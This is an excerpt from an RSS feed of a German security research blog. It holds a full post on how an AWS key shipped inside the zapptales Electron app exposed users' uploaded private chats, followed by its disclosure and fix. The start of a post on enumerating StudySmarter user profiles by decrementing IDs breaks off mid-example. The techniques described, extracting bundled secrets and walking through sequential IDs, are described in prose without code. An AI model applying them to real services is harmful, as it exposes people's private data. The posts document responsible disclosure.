&lt;p&gt;Und mit dieser Handreichung entlassen wir euch in die Weiten des Internets. Happy hacking!&lt;/p&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>zapptales – vom Chat zum Buch zum Datenleck</title>
      <link>https://zerforschung.org/posts/zapptales/</link>
      <pubDate>Mon, 13 Dec 2021 05:40:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/zapptales/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/titelbild.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;Weihnachtszeit ist Geschenkezeit, natürlich auch in diesem Jahr. Viele suchen verzweifelt nach schönen, möglichst originellen Geschenken, auch in unserem Freundeskreis. Von »Ihr Name auf einem Reiskorn« bis »Deine schönsten Urlaubsfotos als Fotobuch« bleibt kein Wunsch unerfüllt.&lt;/p&gt;
&lt;p&gt;Auf der Jagd nach dem besten Geschenk sind Freund*innen von uns auf &lt;a href=&#34;https://www.zapptales.com/de/&#34;&gt;zapptales&lt;/a&gt; gestoßen. Der Dienst verspricht, individuelle Bücher drucken zu lassen, ungefähr so wie Fotobücher – nur mit privaten Chatverläufen. Moment… private Chats auf fremde Server laden, um sie drucken zu lassen? Da hören wir die Glöckchen läuten. Aber keine Weihnachtsglöckchen 🔔, sondern Alarmglocken 🚨. Leider stellte sich heraus: Zu Recht!&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/zapptales/cat-scary.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/zapptales/cat-scary.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;große-versprechen-kleines-vertrauen&#34;&gt;Große Versprechen, kleines Vertrauen&lt;/h2&gt;
&lt;p&gt;Aber alles kein Problem, weil das natürlich sicher und verschlüsselt ist, verspricht der Online-Dienst zapptales. Dort können Nutzer*innen ihren Chatverlauf aus diversen, zum Teil Ende-zu-Ende verschlüsselten, Messengern hochladen und dann daraus ein Fotobuch drucken lassen.  Zum Zeitpunkt der Untersuchung wurden folgende Messenger unterstützt: WhatsApp, Telegram, Facebook Messenger, Threema, Instagram und iMessage.&lt;/p&gt;
&lt;p&gt;zapptales bewirbt den eigenen Dienst damit, so die schönsten Chat-Erinnerung mit dem*der Partner*in, den Freund*innen oder der Familie zu verewigen. Oder wie sie sagen:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/zapptales-druckt.png&#34;
         alt=&#34;zapptales druckt deinen Chat: Damit aus Smileys ein Lächeln wird.&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Schade nur, dass aus den Smileys nicht nur ein Lächeln wurde, sondern auch ein Datenabfluss. Immerhin: So haben wir ein Geschenk für euch – eine Grusel-Geschichte zur Vorweihnachtszeit.&lt;/p&gt;
&lt;p&gt;Denn natürlich waren wir neugierig und haben uns den Dienst etwas genauer angeschaut.
Erstmal wollen wir herausfinden, wie zapptales funktioniert: Wir geben also eine E-Mail-Adresse an und laden einen Chat hoch.&lt;/p&gt;
&lt;p&gt;Bei dem schlechten Bauchgefühl natürlich nicht mit echten Daten, sondern wir haben eine extra Test-Mailadresse. Ein echter Chat kam für uns sowieso nicht infrage. Stattdessen haben wir uns zum Testen WhatsApp auf zwei ungenutzten Forschungs-Handys installiert und mal ein bisschen miteinander gechattet:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/fakechat.png&#34;
         alt=&#34;Fakechat den wir hatten um die Chatbuch-Bearbeitung zu testen&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Nachdem wir unseren Chat bei zapptales hochgeladen haben, können wir direkt ein hübsches Buch gestalten:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/zapptales/chatbuch-bearbeitung.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/chatbuch-bearbeitung.png&#34;
         alt=&#34;Screenshot aus der Chatbuch-Bearbeitungswebsite&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;hoch-hinauf-auf-den-server&#34;&gt;Hoch hinauf auf den Server&lt;/h2&gt;
&lt;p&gt;Doch wie kommt der Chat zu zapptales?
Das ist je nach Messenger unterschiedlich.
Für Instagram und Facebook Messenger kann man den DSGVO-Export&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; der Plattform hochladen und dann auswählen, welcher Chat gedruckt werden soll.
Bei Telegram und Threema soll man immerhin nur einzelne Chats exportieren und diese dann hochladen.
Für iMessage gibt es eine eigene Software, um die Daten aus einem iOS-Backup zu extrahieren.&lt;/p&gt;
&lt;p&gt;Und für unseren Test-Anwendungsfall mit einem WhatsApp-Chat gibt es auch eine eigene Software.
Diese nutzt die WhatsApp-Web-Funktion, um sich mit dem eigenen Handy zu verbinden und dann die Chats abzurufen.&lt;/p&gt;
&lt;p&gt;Diese Software laden wir herunter und schauen uns an, wie sie technisch umgesetzt ist.&lt;/p&gt;
&lt;h2 id=&#34;websites-with-extra-steps&#34;&gt;Websites with extra steps&lt;/h2&gt;
&lt;p&gt;Die App ist mit dem &lt;a href=&#34;https://de.wikipedia.org/wiki/Electron_(Framework)&#34;&gt;Framework Electron&lt;/a&gt; gebaut. Electron erlaubt es, Desktop-Apps mit Webtechnologie zu entwickeln. Das heißt: Den Code für die Anwendung müssen die Software-Entwickler*innen nur einmal schreiben – und die Anwendungen laufen trotzdem auf vielen verschiedenen Betriebssystemen. Dies hat für uns einen weiteren Vorteil: Diese Apps lassen sich für uns deutlich angenehmer analysieren, weil der JavaScript-Quellcode direkt mit ausgeliefert wird.&lt;/p&gt;
&lt;p&gt;Diesen Quellcode finden wir in der Datei mit dem Namen &lt;code&gt;app.asar&lt;/code&gt;:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/electron-verzeichnis.png&#34;
         alt=&#34;Auszug der Electron-App-Verzeichnisstruktur&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/electron/asar&#34;&gt;Asar&lt;/a&gt; ist ein eigenes Datei-Format von Electron, in dem der eigentliche Quelltext der App steht. Da Electron-Apps nur &amp;ldquo;websites with extra steps&amp;rdquo; sind, wird der Quelltext einer App in dieses Archivformat verpackt.&lt;/p&gt;
&lt;p&gt;Dieses Archiv entpacken wir und finden darin den Quelltext. Doch noch bevor wir uns diesen genauer anschauen können, sticht eine Datei namens &lt;code&gt;.env&lt;/code&gt; ins Auge. Darin stehen einige sogenannte Umgebungsvariablen.
Solche Dateien und Variablen werden häufig verwendet, um bestimmte Einstellungen an einer Stelle zentral zu sammeln.
Das können nur harmlose Werte sein, wie zum Beispiel Versionsnummern oder der Name der Anwendung. Doch was haben wir hier?&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/env-datei.png&#34;
         alt=&#34;Inhalt der .env Datei, darin zu erkennen eine Gmail-Adresse als Apple-ID und ein AWS Secret Access Key&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Huch, ein Zugangstoken&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; für Amazon Web Services (AWS)&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;? Das ist nicht gut…&lt;/p&gt;
&lt;p&gt;Mit diesem Zugangstoken bekommen wir Zugriff auf die Amazon-Cloud von zapptales.
Zuerst schauen wir mal, auf welche Datenspeicher (bei AWS werden diese &amp;ldquo;Buckets&amp;rdquo; genannt) wir Zugriff haben:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/buckets.png&#34;
         alt=&#34;Liste der Buckets von zapptales&#34;/&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;eimer-voller-daten&#34;&gt;Eimer voller Daten&lt;/h2&gt;
&lt;p&gt;Oh no, das scheinen so ziemlich alle Daten zu sein.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;chat.zapptales.com&lt;/code&gt; liegen die ganzen Bilder, Videos und Sprachnachrichten aus den Chats, die zapptales hochgeladen hat.
Und das sind ganz schön viele:
&lt;strong&gt;21 Terabyte&lt;/strong&gt; Daten – alleine die Liste der Dateien, die dort liegen, ist super lang und ist fast 3 Gigabyte groß &amp;ndash; darunter auch zehntausende fertige Fotobücher im PDF-Format.&lt;/p&gt;
&lt;p&gt;Ebenfalls interessant: Im Bucket &lt;code&gt;zapptales-db-backups&lt;/code&gt; gibt es tägliche Backups der Datenbank von zapptales.&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;
Darin stehen z.B. die unverschlüsselten Chats, Namen und zum Teil Telefonnummern von Gesprächspartner*innen. Außerdem Informationen darüber, welche Bücher bestellt wurden und an welche Adressen sie geliefert werden sollten &amp;ndash; in mehr als 60 Ländern in der ganzen Welt. Zum Zeitpunkt der Untersuchung waren das 69.000 Accounts.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/oh-no.png&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Delikates Detail:
Wenn man das Buch bei zapptales gestaltet, kann man einzelne Nachrichten ausblenden – doch die Nachrichten und Medien bleiben auf dem Server gespeichert, es wird lediglich eine Markierung in der Datenbank gesetzt.&lt;/p&gt;
&lt;h2 id=&#34;schadsoftware-statt-chatsoftware&#34;&gt;Schadsoftware statt Chatsoftware&lt;/h2&gt;
&lt;p&gt;Das Token steht in der &lt;code&gt;.env&lt;/code&gt; Datei, weil zapptales so immer die neueste Version der App automatisch auf den Server laden kann – und diese dann sofort als Update bereit steht. So weit so gut &amp;ndash; nur hätte diese Datei nicht in die veröffentlichte App eingebacken&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; werden dürfen.&lt;/p&gt;
&lt;p&gt;Das heißt aber auch, dass wir nicht nur alle Daten herunterladen können – sondern auch beliebige Dateien hochladen könnten. Damit könnten wir eine manipulierte App-Version hochladen, um Benutzer*innen von zapptales Schadsoftware unterzuschieben. Sei es eine App, die die ausgewählten Chats nicht nur an zapptales schickt, sondern auch das ganze Nachrichtenarchiv an einen Server des Angreifers – oder natürlich ein Verschlüsselungs-Trojaner.&lt;/p&gt;
&lt;h2 id=&#34;verschlüsselt-ist-kein-zauberspruch&#34;&gt;&amp;ldquo;Verschlüsselt&amp;rdquo; ist kein Zauberspruch&lt;/h2&gt;
&lt;p&gt;Beim Hochladen des Chats spricht zapptales davon, dass dies verschlüsselt geschehe:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/verschusselt.png&#34;
         alt=&#34;Chat verschlüsselt hochladen - Mit Hilfe der Schritt-für-Schritt Anleitung ist es kinderleicht, deinen WhatsApp Chat – mitsamt Textnachrichten, Bildern, Videos, Sprachnachrichten, GIFs, Stickern und Emojis bei zapptales hochzuladen. Direkt im Anschluss erhältst du deine persönlichen Login-Daten.&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Das stimmt auch so halb – der Upload passiert über eine HTTPS-Verbindung.
Das bedeutet, dass lediglich der Weg zwischen uns und zapptales abgesichert ist.
Eine Person, die auf dem Weg mithört, kann diese Daten also nicht lesen.&lt;/p&gt;
&lt;p&gt;Allerdings werden die Daten nicht so verschlüsselt, dass zapptales sie nicht mehr lesen könnte.
Wir finden dieses Werbeversprechen irreführend, denn es suggeriert, dass die Chats nochmal besonders gesichert wären und so auch vor dem Zugriff von zapptales geschützt.&lt;/p&gt;
&lt;p&gt;Stattdessen wird hier lediglich die Verbindung verschlüsselt – mit einer absoluten Standard-Technologie, die eigentlich keiner weiteren Nennung bedürfen sollte.&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&#34;alarm&#34;&gt;Alarm!&lt;/h2&gt;
&lt;p&gt;Unser schlechtes Bauchgefühl hat sich also bestätigt und wir können sämtliche bei zapptales gespeicherten Chats und Fotobücher einsehen.&lt;/p&gt;
&lt;p&gt;Doch das darf nicht so bleiben! Also setzen wir uns hin und schreiben wie jedes Mal einen Report, in dem wir die gefundenen Probleme dokumentieren.
Diesen schicken wir an das CERT-Bund beim BSI und an die Bayrische Datenschutzbehörde.
Diese sind dann mit dem Hersteller in Kontakt getreten, damit die Lücke schnellstmöglich geschlossen wird.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Bayern ist in vielerlei Hinsicht ein besonderes Bundesland, so auch beim Datenschutz:
Wusstet ihr, dass der Freistaat Bayern zwei Datenschutzbehörden hat – aber nicht etwa eine für Bayern und eine für Franken, sondern eine für den Datenschutz im öffentlichen Bereich, also z.B. Behörden (den Bayerischen Landesbeauftragten für Datenschutz) und eine für den Datenschutz bei Unternehmen (das Bayerische Landesamt für Datenschutzaufsicht).&lt;/p&gt;
&lt;p&gt;In vielen anderen Bundesländern vereint das Amt außerdem zwei Funktionen: Datenschutz und Informationsfreiheit. Leider hat Bayern aber &lt;a href=&#34;https://informationsfreiheit.org&#34;&gt;kein Informationsfreiheits- oder Transparenzgesetz&lt;/a&gt; – und der Landesbeauftragte für Datenschutz kümmert sich auch wirklich nur um Datenschutz. Schade.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&#34;eimer-zu-alles-gut&#34;&gt;Eimer zu, alles gut?&lt;/h2&gt;
&lt;p&gt;Das hat in diesem Fall wunderbar funktioniert: Nachdem wir den Report am 21.09.2021 abgeschickt haben, wurde das AWS Secret am 22.09. für ungültig erklärt, sodass darüber kein Zugriff mehr auf die Buckets möglich war.&lt;/p&gt;
&lt;p&gt;Am 23.09. wurde eine aktualisierte Version der Anwendung veröffentlicht, die keine Zugangsdaten mehr enthielt.&lt;/p&gt;
&lt;p&gt;Zudem hat der Hersteller nach eigener Aussage analysiert, inwiefern mit diesen Zugangsdaten auf die Daten zugegriffen wurde und konnte sicherstellen, dass dies außer uns (und dem Hersteller selbst) niemand getan hatte.&lt;/p&gt;
&lt;p&gt;Leider hat sich der Hersteller nicht dazu entschieden, die betroffenen Kund*innen von sich aus zu informieren.
Da außer uns niemand auf die Daten zugegriffen hat und von uns kein Risiko ausginge, sind der Hersteller und die zuständige Datenschutzbehörde der Meinung, dass dies nicht nötig ist.
Stattdessen wurde lediglich ein &lt;a href=&#34;https://www.zapptales.com/de/sicherheitsluecke_geschlossen/&#34;&gt;Post im Blog von zapptales&lt;/a&gt; veröffentlicht.&lt;/p&gt;
&lt;p&gt;Das kritsieren wir sehr – denn auch wenn wir keinen Schabernack mit den Daten treiben, sollten die Kund*innen über den Datenabfluss informiert werden.&lt;/p&gt;
&lt;h2 id=&#34;exkurs-wie-updatet-man-ein-gedrucktes-buch&#34;&gt;Exkurs: Wie updatet man ein gedrucktes Buch?&lt;/h2&gt;
&lt;p&gt;Wer den Artikel bis hier hin aufmerksam gelesen hat, wird sich vielleicht gefragt haben, wie zapptales es schafft Videos und Sprachnachrichten abzudrucken.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/zapptales/flipbook.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/zapptales/flipbook.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;zapptales klebt nicht etwa einen Haufen kleine Displays und Lautsprecher in die Bücher &amp;ndash; schade eigentlich &amp;ndash; sondern druckt QR-Codes an die passende Stelle im Chat.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/qr-code.png&#34;
         alt=&#34;Nahaufnahme des QR-Codes&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Diese verlinken dann auf eine kleine Seite, auf der das Video oder die Sprachnachricht anschaubar ist:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/zapptales/embedded-video.png&#34;
         alt=&#34;Screenshot der Seite mit eingebundenem Video&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Das ist toll für die Nutzer*innen, aber stellt ein Problem dar, falls die QR-Codes in die falschen Hände fallen. Entweder wie hier durch ein Datenleck oder schlicht, indem das Buch nach Ende der Beziehung in den Müll geworfen und dort gefunden wird.
Denn wie aktualisiert man die bereits gedruckten Seiten, die bei den Kund*innen im Schrank stehen? An der Stelle haben wir lange gerätselt – die QR-Codes abschalten? Neue QR-Codes als Aufkleber zum überkleben verschicken? Allen ungefragt neue Bücher schicken?&lt;/p&gt;
&lt;p&gt;zapptales hat sich für einen anderen Weg entschieden: Sie wollen eine PIN-Abfrage vorschalten. Diese PIN soll man dann beim zapptales-Support anfragen können – wir haben dies aber bislang nicht gesehen.&lt;br&gt;
Im Gespräch mit uns meinten die Geschäftsführer*innen, dass dieses Feature noch geplant ist – aber erst nach dem wichtigen Weihnachtsgeschäft.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;zapptales verarbeitet hochprivate Inhalte – Chatverläufe mit den Liebsten – und ermuntert dazu, diese aus eigentlich Ende-zu-Ende-verschlüsselten Messengern unverschlüsselt hochzuladen.
Damit steht zapptales in großer Verantwortung, die Daten gut zu schützen.&lt;/p&gt;
&lt;p&gt;So wäre es technisch möglich die Daten weitestgehend zu verschlüsseln, sodass zapptales bis zum finalen Druckauftrag keinen Einblick in die Chats hat.
Dann hätten wir in diesem Fall auch nur einen Eimer voller verschlüsselter Dateien gefunden, mit denen wir nichts anfangen können.&lt;/p&gt;
&lt;p&gt;Denn Fehler wie der hier beschriebene können passieren, auch ohne böse Absicht.
Gerade deshalb ist es aber wichtig, Vorkehrungen zu treffen, um den daraus entstandenen Schaden zu minimieren.&lt;/p&gt;
&lt;p&gt;Fotos, Videos, Sprachnachrichten und den Chatverlauf eines gekauften Buches auf unbestimmte Zeit und unverschlüsselt im Internet liegen zu lassen, ist hingegen unverantwortlich.&lt;/p&gt;
&lt;p&gt;Außerdem ist anzumerken, dass die anderen Beteiligten eines exportierten und hochgeladenen Chats keine Möglichkeit haben herauszufinden, ob ihre Unterhaltung bei zapptales hochgeladen und verarbeitet wurde.
Wir haben zwar auch lieber eine Weihnachtsüberraschung &amp;ndash; aber vielleicht lieber ein selbstgemaltes Bild als ein Datenleck.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;🤝&lt;/h2&gt;
&lt;p&gt;Wir haben diesen Fall zusammen mit dem Spiegel und dem Bayerischen Rundfunk veröffentlicht. Deren Artikel findet ihr hier:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.spiegel.de/netzwelt/apps/zapptales-tausende-whatsapp-nachrichten-lagen-ungeschuetzt-im-netz-a-e3509ea3-727b-4148-82c5-5847d743cd0f&#34;&gt;Spiegel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.br.de/nachrichten/netzwelt/hacker-decken-sicherheitluecke-in-chat-buch-software-auf,SrCargF&#34;&gt;BR&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Das dokumentieren, melden und &lt;del&gt;drucken&lt;/del&gt; veröffentlichen solcher Lücken kostet viel Zeit und Nerven.&lt;/p&gt;
&lt;p&gt;Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Danke 🎄&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Soll nochmal jemand behaupten die DSGVO verhindert Innovation!&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Ein ‘Token’ ist eine längere Zeichenkette aus Kombinationen von Buchstaben und Zahlen. Eigentlich sollte diese Zeichenkette geheim sein – denn wer sie kennt, kann sich Zugang verschaffen.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;AWS ist das Angebot von Amazon für Speicherplatz, Datenbanken, Server und &lt;a href=&#34;https://de.wikipedia.org/wiki/Liste_von_Amazon_Web_Services&#34;&gt;ganz viele andere Dinge&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;Leider wurde hier die bekannte Schlussformel des Chaosradio nicht beachtet: &lt;a href=&#34;https://chaosradio.de/cr267-hackathons?t=1%3A20%3A37&#34;&gt;&amp;ldquo;Lasst euch nicht überwachen und verschlüsselt immer schön eure Backups!&amp;rdquo;&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;Mmmmmmhhh, Weihnachtsgebäck 🍪&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;Auch unsere Blogposts werden ausschließlich verschlüsselt &lt;em&gt;übertragen&lt;/em&gt;, wie ihr an dem Schloss-Symbol in der Adressleiste des Browsers sehen könnt.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Zu Besuch bei Deutschlands bestem EdTech-Datenleck – virtuell natürlich</title>
      <link>https://zerforschung.org/posts/studysmarter/</link>
      <pubDate>Tue, 07 Dec 2021 05:30:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/studysmarter/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/studysmarter/titelbild.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Dies ist der dritte Teil unserer &lt;a href=&#34;https://zerforschung.org/tags/back-to-school/&#34;&gt;Back-To-School-Reihe&lt;/a&gt;.
&lt;/div&gt;
&lt;p&gt;Stellt euch vor, ihr seht eine Haustür, die sperrangelweit offen steht. Also geht ihr rein und ruft durch das ganze Haus, dass die Tür offen ist und ob die nicht mal jemand zumachen kann. Ach was, ihr ruft nicht – ihr brüllt. Und trotzdem: Keine Antwort. Stattdessen stolpert ihr überall über aufgetürmte und aufgeschlagene Aktenordner mit Namen von drei Millionen Menschen, mit Fotos, Geburtsdaten, Wohnorten und Namen von Schulen oder Unis.&lt;/p&gt;
&lt;p&gt;Klingt weit hergeholt? Ist uns aber genau so passiert – virtuell natürlich, in einer App. Dieser Blogpost erzählt von unserem kurzen Besuch bei der Lern-App StudySmarter.&lt;/p&gt;
&lt;p&gt;Ende 2017 gegründet, entwickelt StudySmarter eine App für Schüler*innen und Studierende, die mit Lernkarten, Übungsaufgaben, etc. bei der Prüfungsvorbereitung helfen möchte.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/studysmarter/app-screenshot.jpg&#34;
         alt=&#34;Screenshot der StudySmarter App, während sie Lernkarten zur IT-Sicherheit aus Baden-Württemberg anzeigt.&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Damit wurden sie sogar schon &lt;a href=&#34;https://www.studysmarter.de/presse/edtechx/&#34;&gt;zu Europas bestem EdTech-Startup gekürt&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wir wurden auf StudySmarter aufmerksam, als wir uns gerade eine andere App für die Back-To-School-Reihe angeschaut haben. Dort wurde uns Werbung für StudySmarter angezeigt.
Und weil wir gerade schonmal bei dem Thema Lern- und Schulapps waren, installieren wir uns auch diese App. Wie bei den bisherigen Apps aktivieren wir zuallererst unseren Person-in-the-Middle-Proxy. Damit können wir sehen, wie die Kommunikation mit den Servern der App aussieht.&lt;/p&gt;
&lt;h2 id=&#34;ab-in-den-vorgarten-und-mitspielen&#34;&gt;Ab in den Vorgarten und mitspielen&lt;/h2&gt;
&lt;p&gt;Wir öffnen also das virtuelle Gartentor, indem wir uns registrieren: Endlich mitspielen! In der App schauen wir uns um, tragen unsere Schule ein, und probieren ein paar Lernkarten und Übungsaufgaben aus.&lt;/p&gt;
&lt;p&gt;Nachdem wir ein Nutzer*innen-Profil angelegt haben, sehen wir in unserem Person-in-the-Middle-Proxy den Datenverkehr zwischen App und Server. Dort steht, wie die App unser eigenes Profil abruft:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/studysmarter/proxy-screenshot.png&#34;
         alt=&#34;Screenshot der Request-URL für den Profilabruf mit gut erkennbarer Nutzer*innen-Nummer&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Hmmm, unsere Erfahrung sagt uns: Wo wir eine URL mit einer Nutzer*innen-Nummer darin sehen, bekommen wir häufig mehr Infos, wenn wir diese Nummer um eins herunterzählen&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; – allerdings nicht von unserem eigenen Account, sondern die unserer &amp;ldquo;Nachbarn&amp;rdquo;.&lt;/p&gt;
&lt;h2 id=&#34;hoppla-die-haustür-ist-ja-offen&#34;&gt;Hoppla, die Haustür ist ja offen!&lt;/h2&gt;
&lt;p&gt;Und tatsächlich: Auch diesmal bekommen wir das Profil einer anderen Person zu sehen.&lt;/p&gt;
&lt;p&gt;Das sah in etwa so aus:&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2981312&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;tutorial&amp;#34;&lt;/span&gt;: { &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;tutorialwebapp&amp;#34;&lt;/span&gt;: { &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt; },
